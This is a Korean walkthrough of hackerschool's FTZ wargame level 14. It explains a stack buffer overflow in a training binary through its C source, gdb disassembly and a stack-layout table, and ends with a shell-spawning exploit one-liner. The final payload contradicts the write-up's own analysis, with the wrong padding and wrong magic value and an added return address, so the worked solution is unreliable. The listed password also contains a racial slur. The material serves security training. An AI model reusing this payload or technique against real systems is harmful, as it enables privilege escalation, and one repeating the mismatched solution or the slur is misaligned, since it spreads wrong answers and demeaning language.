FTZ란 Free Training Zone의 약자로 hackerschool에서 배포하는 워게임입니다.
총 20문제로 구성되어 있으며 각 문제를 격파하여 다음 레벨의 패스워드를 얻는 형식입니다.
문제를 격파하고 다음 레벨의 bash를 획득하였다면 my-pass로 패스워드를 확인할 수 있습니다.
사용 linux 명령어
ls - 파일 내역 출력
cat - 파일 내용 확인
cp - 파일 또는 디렉터리 복사 명령
gdb - 디버깅 도구
send me email if you have any questions.
FTZ Level 14
ID : level14
PASSWD : what that nigga want?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
level11부터는 attackme라는 파일이 존재하며 hint는 attackme의 소스가 제공된다.
소스분석
buf앞에 선언된 check를 0xdeadbeef로 변조하면 level15의 shell을 실행시켜 주는 소스이다.
ftz에는 ASLR(메모리 보호기법)이 걸려있다.
ASLR은 프로그램을 실행할 때 마다 메모리 주소가 변경되는 메모리 보호기법
권한문제가 없도록 tmp디렉터리에 attackme를 복사하고 attackme의 메모리 구조를 파악하기 위해 gdb를 사용하여 intel방식으로 디스어셈블 한다.
어셈블리 분석
main+3 line을 보면 sep에 56Byte의 공간을 할당하는것을 알 수 있다.
main+17,20 line을 보면 fgets함수에 buf를 인자로 전달하기 위한 연산을 수행하고 있음을 알 수 있다.
따라서 buf의 주소는 ebp-56.
main+26 line을 보면 fgets로 입력을 받은 후 0x10만큼 esp를 증가시킨다. main+6에서의 sub와 여러 push로 인해 72Byte만큼 esp가 감소한걸 56Byte로 보정.
main+29 line을 보면 ebp-16 를 0xdeadbeef와 비교연산하고 있음을 알 수 있다.
소스를 보면 check가 0xdeadbeef와 비교연산 하고 있으므로 ebp-16는 check의 주소이다.
ebp는 stack base pointer로 stack의 최하단을 가리키는 포인터로 스택이 소멸되기 전까지 값이 변하지 않는다.
buf와 check사이에 20Byte의 dummy가 있고, 스택에 할당된 총 공간이 56Byte이므로 메모리 구조는 아래와 같다.
참고
esp는 스택의 최상단을 가리키는 포인터로 push, pop연산에 따라 4Byte씩 값이 변한다.
sfp(Saved Frame Pointer)는 이전 함수의 EBP주소를 저장하고 있는 공간이다.
메모리구조 |
---|
buffer(20Byte) |
dummy(20Byte) |
check(4Byte) |
crap(4Byte) |
dummy(8Byte) |
sfp(4Byte) |
ret(4Byte) |
파악한 메모리구조로 페이로드를 작성하여 공격한다.
페이로드
./attackme `python -c “print ‘A’*1036 + ‘\x67\x45\x23\x01’ + ‘A’*12 + ‘\x15\xfc\xff\xbf’”`